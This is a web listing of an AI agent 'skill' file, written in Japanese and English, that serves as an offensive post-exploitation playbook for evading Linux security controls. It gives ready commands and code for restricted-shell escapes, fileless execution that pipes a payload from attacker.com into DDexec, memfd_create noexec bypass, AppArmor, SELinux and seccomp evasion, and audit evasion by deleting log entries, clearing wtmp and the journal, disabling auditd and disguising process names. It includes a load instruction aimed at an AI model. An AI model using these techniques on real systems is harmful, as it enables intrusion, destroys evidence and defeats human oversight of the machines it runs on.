linux-security-bypass
制限付きシェル(bash/rbash)、読み取り専用・noexecファイルシステム、AppArmor、SELinux、seccompフィルター、監査ログなど、Linuxのセキュリティ機構を回避するためのプレイブック。ポストエクスプロイテーション中にこれらの制約を突破する必要がある場面で使用する。
description の原文を見る
>- Linux security mechanism bypass playbook. Use when facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation.
SKILL.md 本文
SKILL: Linux Security Bypass — Expert Attack Playbook
AI LOAD INSTRUCTION: Linux セキュリティ メカニズム回避のエキスパート技術。制限付きシェルエスケープ、noexec バイパス、AppArmor/SELinux 回避、seccomp 迂回、および監査回避をカバーします。ベースモデルは DDexec、memfd_create ファイルレス実行、およびアーキテクチャ混乱型 seccomp バイパスを見逃します。
0. RELATED ROUTING
深く掘り下げる前に、以下の読み込みを検討してください:
linux-privilege-escalation— 制限から抜け出した後、権限昇格が必要な場合container-escape-techniques— セキュリティメカニズムがコンテナ固有(seccomp プロフィール、AppArmor docker-default)の場合linux-lateral-movement— 制限をバイパス後、ピボットが必要な場合cmdi-command-injection— 制限が Web アプリケーション コンテキストからのコマンド実行である場合
1. RESTRICTED BASH (rbash) BYPASS
1.1 SSH-Based Bypass
# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"
# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead — often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands
1.2 エディタベースのエスケープ
# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash
# ed escape
ed
!/bin/bash
# nano (if available)
# Ctrl+R → Ctrl+X → command execution
1.3 言語インタプリタ エスケープ
| インタプリタ | コマンド |
|---|---|
| Python | python3 -c 'import pty; pty.spawn("/bin/bash")' |
| Perl | perl -e 'exec "/bin/bash";' |
| Ruby | ruby -e 'exec "/bin/bash"' |
| Lua | lua -e 'os.execute("/bin/bash")' |
| PHP | php -r 'system("/bin/bash");' |
| Node.js | node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})' |
| AWK | awk 'BEGIN {system("/bin/bash")}' |
1.4 環境変数のトリック
# Overwrite shell via BASH_CMDS
BASH_CMDS[x]=/bin/bash
x
# Use env to spawn unrestricted shell
env /bin/bash
env -i /bin/bash
# PATH manipulation (if export is allowed)
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
/bin/bash
# If only specific commands are allowed:
# Use allowed command to read files
git log --oneline --all -p # git can read arbitrary files
git diff /dev/null /etc/shadow
1.5 その他のエスケープ
| 方法 | コマンド |
|---|---|
expect | expect -c 'spawn /bin/bash; interact' |
script | script -qc /bin/bash /dev/null |
rlwrap | rlwrap /bin/bash |
nmap (old) | nmap --interactive → !bash |
2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION
2.1 DDexec — /proc/self/mem 経由の stdin からの実行
# DDexec overwrites the running process memory with a new binary
# No file written to disk — completely fileless
# Usage: pipe any ELF binary through DDexec
curl -sL https://attacker.com/payload | bash ddexec.sh
# How it works:
# 1. Opens /proc/self/mem for writing
# 2. Seeks to the text segment of the current process
# 3. Overwrites it with the target ELF binary
# 4. Jumps to the new entry point
2.2 memfd_create — インメモリ ファイル ディスクリプタ
import ctypes, os
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(319, b"", 0) # SYS_MEMFD_CREATE (x86_64)
with open(f"/proc/self/fd/{fd}", "wb") as f:
f.write(open("/path/to/binary", "rb").read())
os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ) # Bypasses noexec
# Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd
2.3 ld.so ダイレクト実行
# Use the dynamic linker to execute from a writable mount
# Even if the binary's partition is noexec, ld.so runs from its own mount
/lib64/ld-linux-x86-64.so.2 /path/on/noexec/mount/binary
# Or from /dev/shm (usually writable + exec):
cp binary /dev/shm/binary
/dev/shm/binary
2.4 noexec でのスクリプト インタプリタ
# Scripts still execute on noexec — only ELF execution is blocked
# The interpreter (python/perl/bash) runs from an exec-allowed mount
# and reads the script as data
python3 /noexec/mount/exploit.py # Works
perl /noexec/mount/exploit.pl # Works
bash /noexec/mount/exploit.sh # Works
# But ./exploit (ELF binary) → "Permission denied"
2.5 書き込み可能なマウントポイント
# Common writable + exec-capable locations:
/dev/shm # tmpfs — almost always writable + exec
/tmp # Sometimes noexec on hardened systems
/var/tmp # Often writable
/run # tmpfs — check permissions
# Check mount options:
mount | grep -E "shm|tmp"
# Look for "noexec" flag — if absent, exec is allowed
3. APPARMOR BYPASS
3.1 プロファイル列挙
# Check AppArmor status
aa-status 2>/dev/null
cat /sys/module/apparmor/parameters/enabled # Y = enabled
cat /sys/kernel/security/apparmor/profiles # List all profiles
# Check current process profile:
cat /proc/self/attr/current
# "unconfined" = no restriction
# "docker-default (enforce)" = Docker's default profile
3.2 エクスプロイテーション戦略
# Find unconfined processes (inject via ptrace if root):
ps auxZ 2>/dev/null | grep unconfined
# Complain mode = effectively no restriction (just logging):
aa-status | grep complain
一般的な AppArmor プロファイルのギャップ:/proc/self/fd/* アクセス、抽象 Unix ソケット、インタプリタベース実行(Python スクリプトはバイナリ制限をバイパス)、および新規作成パス。
4. SELINUX BYPASS
4.1 モード確認
getenforce # Enforcing / Permissive / Disabled
sestatus # Detailed status
cat /etc/selinux/config # Persistent configuration
# Check current context
id -Z
ps auxZ | head -20
4.2 許容ドメイン エクスプロイテーション
semanage permissive -l 2>/dev/null # Domains in permissive mode
ps -eZ | grep -i permissive # Processes — can do anything (just logged)
4.3 コンテキスト遷移 & ブール値
ls -Z /tmp/ # File contexts — tmp_t has broader access
sesearch --allow -t unconfined_t 2>/dev/null | head -30 # Transition rules
# Dangerous booleans that weaken SELinux:
getsebool -a | grep -i "on$" | grep -iE "exec|write|network|connect"
# httpd_can_network_connect, allow_execmem
5. SECCOMP BYPASS
5.1 Seccomp ステータス確認
grep Seccomp /proc/self/status
# Seccomp: 0 = disabled, 1 = strict, 2 = filter
# Docker default seccomp profile blocks ~44 syscalls
# Check what's allowed:
./amicontained # Shows blocked/allowed syscalls
5.2 アーキテクチャ混乱(x86 vs x86_64)
# Seccomp filters often only check x86_64 syscall numbers
# x86 (32-bit) syscall numbers are different!
# If the filter doesn't check the architecture:
# Compile a 32-bit binary that uses x86 syscall numbers:
# x86_64 execve = 59, x86 execve = 11
# The filter blocks syscall 59 but not 11
gcc -m32 -static -o exploit32 exploit.c
# If the seccomp filter lacks AUDIT_ARCH_X86 check → bypass
5.3 許容されたシステムコール悪用 & カーネルバグ
許容されたシステムコールの創意的な悪用:sendmsg/recvmsg(プロセス間 FD パス)、mmap/mprotect(実行可能メモリ)、process_vm_readv/writev(クロスプロセス メモリ)。
既知の seccomp カーネルバグ:CVE-2019-2054(ptrace バイパス)、io_uring が seccomp 完全バイパス(5.12 以前)。uname -r をチェックして比較してください。
6. AUDIT EVASION
6.1 タイムスタンプ操作
# Modify file timestamps to hide changes
touch -r /etc/hosts /modified/file # Copy timestamp from reference
touch -t 202301010000.00 /modified/file # Set specific timestamp
# Modify log timestamps (if writable)
# Use timestomping to match surrounding entries
6.2 ログ改ざん & プロセス偽装
sed -i '/pattern/d' /var/log/auth.log # Remove specific entries
echo "" > /var/log/wtmp # Clear login records
journalctl --rotate && journalctl --vacuum-time=1s # Clear journal
# Process name spoofing (hide in ps output):
exec -a "[kworker/0:0]" /bin/bash # Bash
# C/Python: prctl(PR_SET_NAME, "kworker/0:0", 0, 0, 0)
# Disable audit (if root):
auditctl -e 0 && service auditd stop
7. LINUX SECURITY BYPASS DECISION TREE
セキュリティメカニズムを特定しましたか?
│
├── 制限付きシェル(rbash)?
│ ├── SSH アクセス有り? → ssh -t "bash --noprofile --norc" (§1.1)
│ ├── エディタ利用可能? → vi :!/bin/bash (§1.2)
│ ├── 言語インタプリタ? → python/perl/ruby エスケープ (§1.3)
│ ├── env コマンド? → env /bin/bash (§1.4)
│ └── エスケープ付き許容コマンド? → git/man/less → !bash (§1.5)
│
├── noexec ファイルシステム?
│ ├── スクリプト インタプリタ利用可能? → bash/python/perl スクリプト動作 (§2.4)
│ ├── /dev/shm 書き込み可能 + exec? → バイナリをそこにコピー (§2.5)
│ ├── memfd_create 利用可能? → ファイルレス実行 (§2.2)
│ ├── ld.so アクセス可能? → ld.so /path/to/binary (§2.3)
│ └── 最後の手段 → /proc/self/mem 経由 DDexec (§2.1)
│
├── AppArmor 強制?
│ ├── プロファイル complain モード? → 制限なし、ログのみ (§3.3)
│ ├── 無制限プロセス存在? → それらに inject/migrate (§3.2)
│ ├── プロファイル パスカバレッジなし? → 未カバーパス使用 (§3.4)
│ └── インタプリタ制限なし? → スクリプトベース実行
│
├── SELinux 強制?
│ ├── ドメイン permissive に設定? → そのドメイン悪用 (§4.2)
│ ├── 危険なブール値有効? → 許容アクション悪用 (§4.4)
│ ├── コンテキスト遷移利用可能? → 遷移でバイナリ実行 (§4.3)
│ └── カーネル CVE? → SELinux バイパス エクスプロイト
│
├── seccomp フィルター有効?
│ ├── アーキテクチャ チェック欠落? → 32 ビット syscall 混乱 (§5.2)
│ ├── 許容 syscall 悪用可能? → sendmsg/mmap 悪用 (§5.3)
│ ├── カーネルバグ? → io_uring/ptrace バイパス (§5.4)
│ └── ブロック内容確認 → amicontained (§5.1)
│
└── 監査ログ記録?
├── ログ書き込み可能? → エントリ削除/修正 (§6.2)
├── root アクセス? → auditd 無効化 (§6.4)
├── ステルス必要? → プロセス名偽装 (§6.3)
└── ファイル変更追跡? → タイムスタンプ操作 (§6.1)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
secure-code-guardian
認証・認可の実装、ユーザー入力の保護、OWASP Top 10の脆弱性対策が必要な場合に使用します。bcrypt/argon2によるパスワードハッシング、パラメータ化ステートメントによるSQLインジェクション対策、CORS/CSPヘッダーの設定、Zodによる入力検証、JWTトークンの構築などのカスタムセキュリティ実装に対応します。認証、認可、入力検証、暗号化、OWASP Top 10対策、セッション管理、セキュリティ強化全般で活用できます。ただし、構築済みのOAuth/SSO統合や単独のセキュリティ監査が必要な場合は、より特化したスキルの検討をお勧めします。
claude-authenticity
APIエンドポイントが本物のClaudeによって支えられているか(ラッパーやプロキシ、偽装ではないか)を、claude-verifyプロジェクトを模した9つの重み付きルールベースチェックで検証できます。また、Claudeの正体を上書きしているプロバイダーから注入されたシステムプロンプトも抽出します。完全に自己完結しており、httpx以外の追加パッケージは不要です。Claude APIキーまたはエンドポイントを検証したい場合、サードパーティのClaudeサービスが本物か確認したい場合、APIプロバイダーのClaude正当性を監査したい場合、複数モデルを並行してテストしたい場合、またはプロバイダーが注入したシステムプロンプトを特定したい場合に使用できます。
anth-security-basics
Anthropic Claude APIのセキュリティベストプラクティスを適用し、キー管理、入力値の検証、プロンプトインジェクション対策を実施します。APIキーの保護、Claudeに送信する前のユーザー入力検証、コンテンツセーフティガードレールの実装が必要な場合に活用できます。「anthropic security」「claude api key security」「secure anthropic」「prompt injection defense」といったフレーズでトリガーされます。
x-ray
x-ray.mdプレ監査レポートを生成します。概要、強化された脅威モデル(プロトコルタイプのプロファイリング、Gitの重み付け攻撃面分析、時間軸リスク分析、コンポーザビリティ依存関係マッピング)、不変条件、統合、ドキュメント品質、テスト分析、開発者・Gitの履歴をカバーしています。「x-ray」「audit readiness」「readiness report」「pre-audit report」「prep this protocol」「protocol prep」「summarize this protocol」のキーワードで実行されます。
semgrep
Semgrepスタティック分析スキャンを実行し、カスタム検出ルールを作成します。Semgrepでのコードスキャン、セキュリティ脆弱性の検出、カスタムYAMLルールの作成、または特定のバグパターンの検出が必要な場合に使用します。重要:ユーザーが「バグをスキャンしたい」「コード品質を確認したい」「脆弱性を見つけたい」「スタティック分析」「セキュリティlint」「コード監査」または「コーディング標準を適用したい」と尋ねた場合も、Semgrepという名称を明記していなくても、このスキルを使用してください。Semgrepは30以上の言語に対応したパターンベースのコードスキャンに最適なツールです。
ghost-bits-cast-attack
Java「ゴーストビッツ」/キャストアタック プレイブック(Black Hat Asia 2026)。16ビット文字が8ビットバイトに暗黙的に縮小されるJavaサービスへの攻撃時に使用します。WAF/IDSを回避して、SQLインジェクション、デシリアライゼーション型RCE、ファイルアップロード(Webシェル)、パストトラバーサル、CRLF インジェクション、リクエストスマグリング、SMTPインジェクションを実行できます。Tomcat、Spring、Jetty、Undertow、Vert.x、Jackson、Fastjson、Apache Commons BCEL、Apache HttpClient、Angus Mail、JDK HttpServer、Lettuce、Jodd、XMLWriterに影響し、WAFバイパスにより多くの「パッチ済み」CVEを再度有効化します。